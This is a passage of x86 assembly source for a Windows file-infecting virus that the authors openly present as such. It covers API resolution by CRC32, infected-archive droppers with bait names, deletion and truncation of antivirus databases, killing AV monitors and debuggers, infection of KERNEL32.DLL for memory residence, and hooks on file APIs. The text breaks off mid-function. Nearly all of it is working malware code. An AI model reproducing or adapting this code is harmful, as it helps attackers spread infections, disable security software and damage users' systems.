__mCRC32_init irpc _x, ctrlByte = '&_x&' xor (crcReg and 0FFh) crcReg = crcReg shr 8 rept 8 ctrlByte = (ctrlByte shr 1) xor (__mCRC32 * (ctrlByte and 1)) endm crcReg = crcReg xor ctrlByte endm dd crcReg endm ;--------------------------------------------------------- ;I don't compare API stringz in kernel32 but CRC32. ; ; input: ESI ... string ; output: EAX ... CRC32 ; __get_CRC32: push edx mov edx,__mCRC32_init __gCRC32_next_byte: lodsb or al,al ;end of name ? jz __gCRC32_finish xor dl,al mov al,08h __gCRC32_next_bit: shr edx,01h jnc __gCRC32_no_change xor edx,__mCRC32 __gCRC32_no_change: dec al jnz __gCRC32_next_bit jmp __gCRC32_next_byte __gCRC32_finish: xchg eax,edx ;CRC32 to EAX pop edx ret ;ÄÄÄ´ function to add dropper to table ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function is main feature for inside-archive works. ; ;What we know: ; * this function is called from "infect_file" ; * it's certainly *.EXE file ; * its filesize is lesser then 30Kb ; ;Headlines: ; * get empty archive dropper (create ZIP/ARJ's dropper ?) ; * if CAB, no packing (stupid structure) ; * give me TEMP directory (e.g. \WINDOWS\TEMP) ; * create random TEMP file name (e.g. 29A + 0001.TMP, ...) ; * get random file name (e.g. SETUP, CRACK, GRATIS, ...) ; * copy infected file to TEMP directory under new name ; * create compress command ; (e.g. C:\ACE.EXE a -ep -m5 C;\TEMP\RUN.EXE C:\TEMP\29A0001.TMP) ; * create process and execute that command ; * check process' thread whether process has been finished ; * delete random file name ; ; ; input: EAX ... filesize ; __new_dName dd 00000000h ;dropper's newName ; __add_dropper: ; save registers pusha ; some free archiver program ? mov ecx,NewArchiveNum __ad_searching: mov eax,ecx ;convert <1..NewArchiveNum> dec eax ; t o <0..NewArchiveNum-1> lea esi,[ebp+NewArchive] imul eax,NewArchiveSize add esi,eax push ecx ; test whether dropper has been created cmp [esi.dropper],00000000h jnz __ad_next ; test whether CAB structure is empty cmp ecx,NewArchiveNum jnz __ad_next_archive mov eax,filename_size ;allocate mem for CAB's name call malloc mov [esi.dropper],eax mov edi,eax ;copy archive name EXE to mov esi,[ebp+filename_ptr] ;my new CAB file name buffer mov ecx,filename_size rep movsb jmp __ad_next ; test whether archiver program has been found __ad_next_archive: mov ebx,esi cmp [ebx.program],00000000h jz __ad_next ; time to prepare dropper - alloc mem, get temp filename mov eax,filename_size call malloc mov [ebx.dropper],eax ; get TEMP directory push eax ;outta buffer push filename_size call [ebp+ddGetTempPathA] or eax,eax ;give me filepath length jz __ad_dealloc ; generate new filename for dropper mov ecx,eax mov eax,filename_size call malloc mov [ebp+__new_dName],eax push eax mov edi,eax ;destination place mov esi,[ebx.dropper] rep movsb call generate_name pop edi ; copy "filename_name" to "edi" push 00000000h ;rewrite its push edi ;new filepath and filename push [ebp+filename_ptr] ;actual filename call [ebp+ddCopyFileA] or eax,eax jz __ad_dealloc_name ; get TEMP file like destination archive name mov edi,[ebx.dropper] ;destination place push edi push 00000000h lea eax,[ebp+__ad_TEMP_three_chars] push eax ;the first three chars push edi ;main TEMP directory call [ebp+ddGetTempFileNameA] ; delete TEMP file like archive name push [ebx+dropper] call [ebp+ddDeleteFileA] ; get filname's last char from archiver mov edi,[ebx.program] xor al,al mov ecx,-1 repnz scasb dec edi ; get archiver's input parameters pop ecx push ecx dec ecx ;convert to <0.. imul ecx,ArchiverCommandRealSize lea esi,[ebp+ArchiverCommand] add esi,ecx mov ecx,ArchiverCommandSize rep movsb ;copy input parameters ; generate compression method lodsb ;number of compression method movzx eax,al call ppe_get_rnd_range add esi,eax lodsb ;get compression method char stosb ;copy it mov al,20h ;space letter stosb mov esi,[ebx.dropper] @copysz mov byte ptr [edi-1],20h ;space letter mov esi,[ebp+__new_dName] @copysz mov byte ptr [edi-1],00h ;zero letter ; get some startup information lea eax,[ebp+StartupInfo] push eax call [ebp+ddGetStartupInfoA] mov esi,[ebx.program] lea eax,[ebp+ProcessInformation] push eax lea eax,[ebp+StartupInfo] push eax ; set window's info mov word ptr [eax.dwFlags], 0001h ;STARTF_USESHOWINDOW mov word ptr [eax.wShowWindow], 0000h ;SW_HIDE xor eax,eax push eax ;CurrentDirectory push eax ;Environment push 04000000h or \ ;CREATE_PROCESS_ERROR_MODE 00000200h or \ ;CREATE_NEW_PROCESS_GROUP 00000080h ;HIGH_PRIORITY_CLASS push eax ;InheritHandles: FALSE push eax ;ThreadAttributes push eax ;ProcessAttributes push [ebx.program] ;Command push eax ;Application Name call [ebp+ddCreateProcessA] or eax,eax ;success ? jnz __wait_to_comp ; disable this achiver for future use mov eax,[ebx.program] call mdealloc mov [ebx.program],00000000h jmp __ad_dealloc ;dealloc droper as well ; give time to compressing __wait_to_comp: push 1*4*1000 ;4 seconds push [ebp+ProcessInformation.hThread] call [ebp+ddWaitForSingleObject] ; shut down that process push 00000000h ;error-code push [ebp+ProcessInformation.hProcess] call [ebp+ddTerminateProcess] push [ebp+__new_dName] ;delete copied file call [ebp+ddDeleteFileA] __ad_dealloc_name: mov eax,[ebp+__new_dName] ;dealloc dropper's new name call mdealloc __ad_next: pop ecx dec ecx jnz __ad_searching popa ret __ad_dealloc: mov eax,[ebx.dropper] call mdealloc mov [ebx.dropper],00000000h jmp __ad_next __ad_TEMP_three_chars: ;greeting to all from this db '29A',0 ;excelent group (family) ;ÄÄÄ´ function to delete AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function has been called from Hyper Infection - API. ;So, If any AV checksum file has been found, I will delete ;its. ; ; input: EDX ... file name kill_av: push edx call [ebp+ddDeleteFileA] ret ;ÄÄÄ´ function to change AVAST's viruses database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function modify/truncate AVAST's viruses database. ;If you want to read tutorial about this method, download ;it from my web: http://prizzy.cjb.net ; ; input: filename_ptr ... is filled ; __ka_handle dd 00000000h ;database's handle __ka_memory dd 00000000h ;database's body __ka_new_size dd 00000000h ;database's new size __ka_checksum dw 0000h ;database's new chck ; kill_avast: ; open AVAST's viruses database mov edx,[ebp+filename_ptr] call __MyOpenFile jc __ka_finish mov [ebp+__ka_handle],eax ; generate new database's file size mov eax,50000 ;hmmm, + <0,50Kb) call ppe_get_rnd_range add eax,AVAST_memSize mov [ebp+__ka_new_size],eax call malloc mov [ebp+__ka_memory],eax ; read signature mov edx,[ebp+__ka_memory] mov ecx,00000004h ;four bytes, please xor esi,esi mov ebx,[ebp+__ka_handle] call __MyReadFile jc __ka_dealloc ; check signature mov eax,[ebp+__ka_memory] movzx eax,word ptr [eax+00000002h] cmp eax,000000F4h ja __ka_dealloc ; read new size mov edx,[ebp+__ka_memory] mov ecx,[ebp+__ka_new_size] mov esi,00000002h mov ebx,[ebp+__ka_handle] call __MyReadFile jc __ka_dealloc ; calculate new checksum :) xor di,di ;clear these regz xor dx,dx xor bx,bx xor ax,ax mov esi,[ebp+__ka_memory] ;place in memory mov ecx,[ebp+__ka_new_size] ;really readed bytes sub ecx,00000002h ;sub chacksum word __ka_decode_body: lodsb add di,ax xor dx,ax xor bx,ax ror bx,01h mov ah,al loop __ka_decode_body ; and now, I must do the final test mov ax,di xor ax,dx xor ax,bx ;AX=new checksum !! mov [ebp+__ka_checksum],ax ; write new checksum lea edx,[ebp+__ka_checksum] mov ecx,00000002h xor esi,esi mov ebx,[ebp+__ka_handle] call __MyWriteFile jc __ka_dealloc ; truncate database :) push 00000000h push 00000000h push [ebp+__ka_new_size] push [ebp+__ka_handle] call [ebp+ddSetFilePointer] push [ebp+__ka_handle] call [ebp+ddSetEndOfFile] __ka_dealloc: mov eax,[ebp+__ka_memory] call mdealloc mov ebx,[ebp+__ka_handle] call __MyCloseFile __ka_finish: ret ;ÄÄÄ´ may I infect that file ? ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function checks whether file is enabled to infect. ; ; input: EBX ... filename ; ESI ... pointer to an avoid table ; validate_name: ; save all registers pusha lea eax,[ebp+__va_check_file] push eax mov edi,ebx ; get last '\' char __va_get_filename: push edi call [ebp+ddlstrlen] mov ecx,eax add edi,ecx __va_next_char: dec edi cmp byte ptr [edi],'\' jz __va_found dec ecx jnz __va_next_char dec edi __va_found: inc edi sub eax,ecx ret __va_check_file: push esi call [ebp+ddlstrlen] mov ecx,eax push esi edi rep cmpsb pop edi esi jz __va_file_invalid add esi, eax ;go to the next file inc esi ; + zero char cmp byte ptr [esi],01h ;end of table ? jnz __va_check_file ; restore all registers test al,0F9h ;hidden STC instruction __va_file_invalid equ $-1 popa ret ;ÄÄÄ´ anti-bait: do not infect AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Baits are do-nothing programs used by AVers to spread. ;Familiarly AVers using these filenames: ; 00000001.EXE, 00000002.EXE, 00000003.EXE etc. ;or ; AAAAAAAA.EXE, AAAAAAAB.EXE, AAAAAAAC.EXE etc. ; ;This function checks if filename certains any triple chars ;in sequence. It is typical anti-bait. ; ; input: filename_ptr ... is filled ; fuck_av_files: ; save all registers pusha ; get filename call __va_get_filename ;EAX = filename length ; check triple chars (= anti-bait) xor eax,eax ;AH=last char, AL=act. char xor ebx,ebx ;BL=how many chars __faf_repeat: mov al,[edi] cmp ah,al ;last char == actual char ? jz __faf_same_char mov ah,al xor bl,bl jmp __faf_next_char __faf_same_char: inc bl cmp bl,02h ;triple char ? jz __faf_failed __faf_next_char: inc edi cmp byte ptr [edi],'.' jnz __faf_repeat test al,0F9h ;hidden STC instruction __faf_failed equ $-1 popa ret ;ÄÄÄ´ function to check if file has been infected ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function check whether number in EAX is divided by ;special number 117 which the autor has selected for this ;virus. And 'cause every dividing is possible count through ;natural logarithm, so I use this math method :). ; ; in classic math: ; " if ((EAX mod 117)==0) file_is_not_infected " ; in ln math: ; " if ((modf(exp(ln(EAX)-ln(117)),&integer)==0) ; file_not_infected " ; ;Well, "a/b == e^(ln(a) - ln(b))" ; "a*b == e^(ln(a) + ln(b))" etc. ; ; "exp(x) == 2^(x * log2ofE)" etc. ; ;Easy to understand :) ; __check_infected: push ecx mov dword ptr [ebp+source_value ],eax mov dword ptr [ebp+divided_value],117 fsave [ebp+copro_nl_buffer] ;save all regz & flagz fninit ;inicialize co-processor fldln2 ;give me "e^fldln2==2" fild qword ptr [ebp+source_value] ;input number fyl2x ;calculate natural logarithm fldln2 fild qword ptr [ebp+divided_value] fyl2x ;calculate 2nd nat logarithm fsubp ;ln(EAX) - ln(117) fldl2e ;give me log2ofE == 2^ fmulp fabs ;absolute number fld1 fld fstcw [ebp+exp_truncate] ;change rounding fstcw [ebp+exp_default] fscale ;2^(trunc ST(1)) + ST(0) or [ebp+exp_truncate],0Fh ;specify truncation mode fldcw [ebp+exp_truncate] ;new mode frndint and [ebp+exp_default+1],0f3h;default back to round-nearest fldcw [ebp+exp_default] ;default mode fist [ebp+exp_further] ;save calculing value fxch fchs ;negative fxch fscale fstp ;fscale did not adjust stack fsubp ;now is "0 <= st(0) < 0.5" f2xm1 ;calculate 2^st(0) fld1 faddp shr word ptr [ebp+exp_further],0001h jnb __no_sqrt2 fld tbyte ptr [ebp+sqrt2] ;use sqrt(2) to calculate fmulp ;the 2nd part __no_sqrt2: fild word ptr [ebp+exp_further] fxch fscale ;fscale doesn't adjust stack fstp fldcw [ebp+exp_truncate] ;set truncate mode fld st(0) ;st(0)=st(1) frndint ;truncate number fsubp ;give me only decimal places fild qword ptr [ebp+rounded_value] ;rounding fmulp ;multiply by 10^x frndint fistp dword ptr [ebp+decimal_places] fldcw [ebp+exp_default] frstor [ebp+copro_nl_buffer] ;restore all regz & flagz cmp dword ptr [ebp+decimal_places],00000000h jnz $+3 test al,0F9h ;hidden STC instruction pop ecx ret sqrt2 dt 3FFFB504F333F9DE6485r ;copro sqrt(2) format source_value dq 0000000000h divided_value dq 0000000000h rounded_value dq 1000000000 ;ÄÄÄ´ common file operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ __MyOpenFile: ;opens EDX file pusha ;save all registers xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ OR GENERIC_WRITE push edx ;file name call [ebp+ddCreateFileA] mov [esp].access_eax,eax ;handle - take away popa cmp eax,-1 ;success ? jz $+3 ;jump if STC, if not CLC :) test al,0F9h ;hidden STC instruction ret __MyReadFile: ; read some bytes (ECX) from certain filepos (ESI) ; to buffer (EDX) by handle (EBX) ; input: ; ECX ... number of bytes to read ; EDX ... destination buffer ; ESI ... file pos ; EBX ... file handle ; output: ; ECX ... number of reader bytes, CFlags call __MySeekFile ;change file pos pusha xor eax,eax push ecx ;save for later using... push eax ;support 2^64-2 bigger file ? lea eax,[ebp+last_error] push eax ;real readed bytes push ecx push edx push ebx call [ebp+ddReadFile] pop [esp].access_ecx ;save old ECX to PUSHAD popa cmp ecx,[ebp+last_error] jnz $+3 ;jump if STC, if not CLC :) test al,0F9h ;hidden STC instruction mov ecx,[ebp+last_error] ret __MyWriteFile: ; write some bytes (ECX) to certain filepos (ESI) ; from buffer (EDX) by handle (EBX) ; input: ; ECX ... number of bytes to write ; EDX ... source buffer ; ESI ... file pos ; EBX ... file handle call __MySeekFile pusha xor eax,eax push ecx ;save for later using... push eax ;file bigger then 2^64-2 ? lea eax,[ebp+last_error] push eax push ecx ;number of bytes to write push edx ;source buffer push ebx ;file handle call [ebp+ddWriteFile] pop [esp].access_ecx popa cmp ecx,[ebp+last_error] jnz $+3 ;jump if STC, if not CLC :) test al,0F9h ;hidden STC instruction mov ecx,[ebp+last_error] ret __MySeekFile: ; seek in the file ; input: ; ESI ... new file pos ; EBX ... file handle pusha xor eax,eax push eax ;FILE_BEGIN defined in "WinBase.H" push eax ;support 2^64-2 file size ? push esi ;new file size push ebx ;file handle call [ebp+ddSetFilePointer] popa ret __MySetAttrFile: ; change file attributes ; input: ; ECX ... new file attributes ; EDX ... file name pointer pusha push ecx ;new attributes push edx ;file name pointer call [ebp+ddSetFileAttributesA] mov [esp].access_eax,eax popa or eax,eax jz $+3 test al,0F9h ;hidden STC instruction ret __MyCloseFile: ; close (EBX) file handle pusha push ebx ;handle to close call [ebp+ddCloseHandle] popa ret __MyGetFileSize: ; get file size ; input: ; EBX ... file handle pusha push 00000000h ;file bigger then 2^64-2 ? push ebx ;file handle call [ebp+ddGetFileSize] mov [esp].access_eax,eax popa cmp eax,-1 jz $+3 test al,0F8h ;hidden STC instruction ret __MyFindFirst: ; search certain file ; input: ; EDX ... file mask ; ESI ... dta ; output: ; EAX ... handle, CF status pusha push esi ;output dta push edx ;file mask call [ebp+ddFindFirstFileA] mov [esp].access_eax,eax popa cmp eax,-1 ;were we successful ? jz $+3 test al,0F9h ;hidden STC instruction ret __MyFindNext: ; find next file ; input: ; EAX ... handle ; ESI ... dta pusha push esi ;output dta push eax ;FindFirstFile handle call [ebp+ddFindNextFileA] or eax,eax ;success ? popa jz $+3 test al,0F9h ;hidden STC instruction ret __MyFindClose: ; close file searcher ; input: ; EAX ... handle pusha push eax ;FindFirstFile handle call [ebp+ddFindClose] mov [esp].access_eax,eax popa or eax,eax ;success ? jz $+3 test al,0F9h ;hidden STC instruction ret malloc: ; allocate memory (EAX) pusha mov ebx,eax push 00000000h ;name of mapping object push eax ;low 32 bits of object size push 00000000h ;high 32 bits of object size push PAGE_READWRITE push 00000000h ;optional security attributes push -1 ;no file, only shared memory call [ebp+ddCreateFileMappingA] or eax,eax jz __malloc_failed ;success ? push ebx ;number of bytes to map push 00000000h ;low 32 bits of file offset push 00000000h ;high 32 bits of file offset push FILE_MAP_WRITE ;access mode push eax ;mapped object call [ebp+ddMapViewOfFile] __malloc_failed: mov [esp].access_eax,eax ;memory address or NULL popa or eax,eax ret mdealloc: ; deallocate memory (EAX) pusha push eax ;mapped address call [ebp+ddUnmapViewOfFile] popa ret __MyCreateThread: ; create thread ; input: ; EAX ... thread function ; EBX ... parameter ; output: ; EAX ... thread handle pusha call $+9 ;thread identifier dd ? push 00000000h ;create flags __mct_continue: push ebx ;parameter push eax ;start address push 00000000h ;stack size push 00000000h ;security attributes call [ebp+ddCreateThread] mov [esp].access_eax,eax ;EAX through POPA :) popa or eax,eax jz $+3 test al,0F9h ;hidden STC instruction ret ;ÄÄÄ´ function to get kernel's address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function searchs functions in: ; * KERNEL32.DLL, USER32.DLL, ADVAPI32.DLL ;At first I'll open library, get export table, RVA ... and ;then I'll compare CRC32 with function names. ; __fk32_inside dd 00000000h ;library tables ; find_kernel32: mov eax,[esp+8] ;I need kernel's address and eax,0FFFF0000h add eax,65536 __scanning: sub eax,65536 cmp word ptr [eax],'ZM' jnz __scanning pusha mov [ebp+kernel_base],eax mov edx,eax ; kernel's base 'MZ' address in EAX mov ebx,eax add eax,[eax+3ch] add ebx,[eax+78h] mov [ebp+__fk32_inside],ebx ; search functions from "k32.dll, user32.dll, advapi32.dll" lea ebx,[ebp+FunctionNames] lea edi,[ebp+FunctionAddresses] mov ecx,00000003h __fk32_next_library: push ecx ;number of libraries __fk32_next_function: mov esi,[ebx] ;get function's CRC32 mov [ebp+__sET_crc32],esi call __searchET stosd ;write its address add ebx,00000004h ;next CRC32 value cmp dword ptr [ebx],00000000h ;end of functions jnz __fk32_next_function ;of current library ? add ebx,00000005h ;now, library name movzx ecx,byte ptr [ebx-1] ;EAX ... length of library or ecx,ecx jz __fk32_finish push ebx ebx ;library name add [esp+00000004h],ecx call [ebp+ddLoadLibraryA] mov ecx,-2 ;libraries without k32 add ecx,[esp+00000004h] ;get number of libraries mov [ebp+user32_base+ecx*4],eax mov ebx,eax ;start of file header mov edx,eax add eax,[eax+3ch] add ebx,[eax+78h] mov [ebp+__fk32_inside],ebx pop ebx ;function names ; next library ? __fk32_finish: pop ecx loop __fk32_next_library popa ;bye, bye K32, U32, A32... ret ;what a pleasure work with u! ; search function's address __searchET: pusha mov ebx,[ebp+__fk32_inside] mov ecx,[ebx+32] ;search export table of add ecx,edx ;KERNEL32, searching __sET_next: mov esi,[ecx] ;the names, then the ordinal add esi,edx ;and, finally the RVA pointerz call __get_CRC32 ;get name's CRC32 :) mov edi,12345678h __sET_crc32 equ dword ptr $-4 cmp eax,edi ;compare CRC32 jz __sET_found add ecx,00000004h jmp __sET_next __sET_found: sub ecx,[ebx+32] sub ecx,edx shr ecx,1 add ecx,[ebx+36] add ecx,edx movzx ecx,word ptr [ecx] shl ecx,2 add ecx,[ebx+28] add ecx,edx mov ecx,[ecx] add ecx,edx mov [esp].access_eax,ecx ;ehm, save ECX through POPA popa ret ;ÄÄÄ´ search fixed, cd-rom, ram-disk, etc. ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function gets information about disks. I call ;GetDriveType function to get type of disk. You can use ;Win32API Help to know more or WinBase.H (CBuilder, MSVC) ;where you can see more flagz and their valuez. So, I can ;use GetLogicalDrives function, but that's one. ; get_disks: pusha xor ebx,ebx mov byte ptr [ebp+__disk],'A' ; GetDriveType function... __gd_search: lea eax,[ebp+__disk] push eax mov eax,[ebp+ddGetDriveTypeA] call eax cmp eax,00000003h ;DISK_FIXED flag jz __gd_found __gd_new_disk: cmp byte ptr [ebp+__disk],'Z' jz __gd_finish inc byte ptr [ebp+__disk] jmp __gd_search __gd_found: mov cl,'A' sub cl,byte ptr [ebp+__disk] neg cl mov eax,00000001h shl eax,cl ;convert to BCD or ebx,eax jmp __gd_new_disk __gd_finish: mov [ebp+gdt_flags],ebx popa ret __disk: db 'A:\',0 ;ÄÄÄ´ function to kill some AV monitors ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This is very interesting function how to send message to ;AV monitor to kill itself (AVP, AMON, AVG, AVAST monitor) ; kill_av_monitors: lea esi,[ebp+kill_AV] ;address of strings xor edi,edi mov ecx,kill_AV_num ;three monitors __kam_checking: push ecx ;save counter push esi ;AV string push edi ;NULL call [ebp+ddFindWindowA] test eax,eax ;found ? je __kam_next_monitor push edi ;send message to AV monitor push edi ;to kill itself :) push 00000012h push eax call [ebp+ddPostMessageA] ;kill it, hehe :) __kam_next_monitor: @endsz ;next monitor pop ecx loop __kam_checking ret ;ÄÄÄ´ function to kill some debuggers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function checks whether some debuggers are active. ;I use these methods: ; * IsDebuggerPresent, kill SoftICE, kill TD32, etc. ; ;this code has been stolen from Benny's source, hi Benny :) ; kill_debuggers: ; check standard debugger mov eax,[ebp+ddIsDebuggerPresent] IFNDEF DEBUG call eax ;check debug... or eax,eax jnz __kd_found ENDIF ; check whether SoftICE 95/98/NT/2000 is active lea edx,[ebp+kill_SoftICE] call __MyOpenFile jnc __kd_found lea edx,[ebp+kill_SoftICE_NT] call __MyOpenFile jnc __kd_found ; check others debuggers mov eax,fs:[20h] or eax,eax IFNDEF DEBUG jnz __kd_found ENDIF ret __kd_found: xor esp,esp ;im sorry :) ret ;ÄÄÄ´ function to infect KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function have to infect "KERNEL32.DLL" to this virus ;become memory resident. ; ;I would like to thank; ; * Lord Julus/29A for his article about this in VxTasy. ; __ik_system dd 00000000h ;system directory __ik_window dd 00000000h ;window directory __ik_wininit db '\WININIT.INI',0 __ik_nul db 'NUL',0 __ik_rename db 'Rename',0 ;section name ; infect_kernel: ; allocate memory for SYSTEM and WINDOWS directory mov eax,filename_size call malloc mov [ebp+__ik_system],eax mov eax,filename_size call malloc mov [ebp+__ik_window],eax ; find SYSTEM directory push filename_size push [ebp+__ik_system] call [ebp+ddGetSystemDirectoryA] ; find WINDOWS directory push filename_size push [ebp+__ik_window] call [ebp+ddGetWindowsDirectoryA] ; copy \WINDOWS\SYSTEM + \KERNEL32.DLL lea eax,[ebp+kernel_name] push eax eax push [ebp+__ik_system] call [ebp+ddlstrcat] ; copy \WINDOWS + \KERNEL32.DLL push [ebp+__ik_window] call [ebp+ddlstrcat] ; copy KERNEL32.DLL from SYSTEM directory to '..' push 00000000h ;rewrite it push [ebp+__ik_window] ;new filepath push [ebp+__ik_system] ;actual filename call [ebp+ddCopyFileA] or eax,eax ;if error, we're probably jz __ik_fault ;in memory :) mov eax,[ebp+__ik_window] mov [ebp+filename_ptr],eax mov [ebp+it_is_kernel],01h ;infect kernel flag call infect_file ; check system version Win9X or WinNT/2k ? call [ebp+ddGetVersion] bt eax,3Fh ;get last bit jnc __ik_nt2k ;jump if WinNT/2k push [ebp+__ik_window] call [ebp+ddlstrlen] xchg edi,eax inc edi push filename_size push [ebp+__ik_window] add [esp],edi call [ebp+ddGetWindowsDirectoryA] lea eax,[ebp+__ik_wininit] ;wininit file name push eax push [ebp+__ik_window] add [esp],edi call [ebp+ddlstrcat] ;window_dir + wininit ; create WININIT.INI file and update one ! push [ebp+__ik_window] add [esp],edi push [ebp+__ik_system] ;existing KERNEL32.DLL lea eax,[ebp+__ik_nul] push eax lea eax,[ebp+__ik_rename] push eax call [ebp+ddWritePrivatePFStringA] ; build the rename INI instruction push [ebp+__ik_window] ;wininit path add [esp],edi push [ebp+__ik_window] ;infected/old k32 push [ebp+__ik_system] ;new k32 path lea eax,[ebp+__ik_rename] ;rename section push eax call [ebp+ddWritePrivatePFStringA] jmp __ik_fault __ik_nt2k: push 00000005h ;after reboot, replace push [ebp+__ik_system] ;new k32 path push [ebp+__ik_window] ;old k32 path call [ebp+ddMoveFileExA] __ik_fault: mov eax,[ebp+__ik_window] call mdealloc mov eax,[ebp+__ik_system] call mdealloc mov [ebp+it_is_kernel],00h ret ;ÄÄÄ´ hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ myCreateFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myCreateFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myOpenFile: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h my_lopen: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myCopyFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myCopyFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myMoveFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myMoveFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myMoveFileExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myMoveFileExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myLoadLibraryW db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myLoadLibraryA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myLoadLibraryExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h myLoadLibraryExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h myFreeLibrary: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h EndOfNewFunctions equ this byte ;ÄÄÄ´ common hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function is runned from kernel32 file, first time do ; * clear some valuez, bufferz ; * delete files in \TEMP\ (droppers) ; * create "already resident" flag (mutex) ; * inicialize "Hyper Infection" (SetTimer) ; * create a crypto thread ; * get actual process ID ;Then if I'll catch "FreeLibrary" function, I'll do: ; * call "crypto_get_library" (more info there) ;And If I'll catch "LoadLibrary, CreateFile, ..." function ; * is it a DLL file ; * call "crypto_thread" by CT_DECRYPTFILE flag ; ;We might say this function is the most important in virus ;many problems were here. ; hookInfectFile: ; prepare for UniCode functions test al,0F9h ;hidden STC instruction IFDEF DEBUG ;my SoftICE breakpoint int 4 ;many battles were here ENDIF pusha ;save all registers pushf ;save all flags pushf call get_base_ebp ;get delta offset popf jnc __hif_no_stop ;ansi version call unicode2ansi jz __hif_finish ;no bytes converted ? jmp __hif_continue ; test whether "Prizzy Hyper Infection" has been actived... __hif_no_stop: cmp dword ptr [ebp+HyperInfection_k32],00000000h jnz __hif_continue call clear_valuez ;clear archive structures call clear_temp_droppers ;delete temp file trom \TEMP\ call create_mutex ;already resident call hookHyperInfection ;inicialize "HyperInfection" lea eax,[ebp+crypt_thread] ;create common crypt thread mov ebx,ebp ;...and its parameter call __MyCreateThread mov [ebp+crypto_mainThread],eax call [ebp+ddGetCurrentProcessId] ;get process ID number mov [ebp+crypto_mainProcId],eax mov [ebp+crypto_thread],CT_LOADKEY ;load cryptography mov [ebp+crypto_thread_err],'!A92' ;key and wait then __hif_crLoadKey: push 50 ;active thread to load crypto push [ebp+crypto_mainThread] ;key call [ebp+ddWaitForSingleObject] cmp [ebp+crypto_thread_err],'!A92' jz __hif_crLoadKey ; which type of function is called ? __hif_continue: lea eax,[ebp+myCreateFileW] ;start of table sub eax,[esp+00000024h] ;return address neg eax sub eax,00000005h ; - call instruction mov ebx,(offset myCreateFileA - offset myCreateFileW) cdq div ebx ;get number of function cmp ax,000Eh ;FreeLibrary ? jz crypt_get_library ; get filename length __hif_get_flen: mov esi,[esp+0000002Ch] ;get file name push esi call [ebp+ddlstrlen] ;not including null terminator or eax,eax ;zero length jz __hif_finish inc eax ; + zero char ; copy filename to the buffer lea edi,[ebp+filename] ;destination buffer mov [ebp+filename_ptr],edi mov ecx,eax ;filename length rep movsb ; upcase characters push eax ;number of characters push [ebp+filename_ptr] ;filename call [ebp+ddCharUpperBuffA] ;convert to uppercase ; CreateFile, OpenFile, CopyFile, MoveFile, ... lea esi,[ebp+filename] ;find the end of filename mov [ebp+filename_ptr],esi @endsz ;ehm :) ; use crypto thread to decrypt file cmp [esi-5],'LLD.' ;DLL file ? jnz __hif_finish ;or not ? cmp [ebp+crypto_thread_err],'!A92' jz __hif_finish ;other process ? mov [ebp+crypto_thread],CT_DECRYPTFILE mov [ebp+crypto_thread_err],'!A92' push [ebp+crypto_mainProcId] ;active the process where I push 00000000h ;created my thread, I can't push 00000001h ;call thread for other pro- call [ebp+ddOpenProcess] ;cess, so I have to active push eax 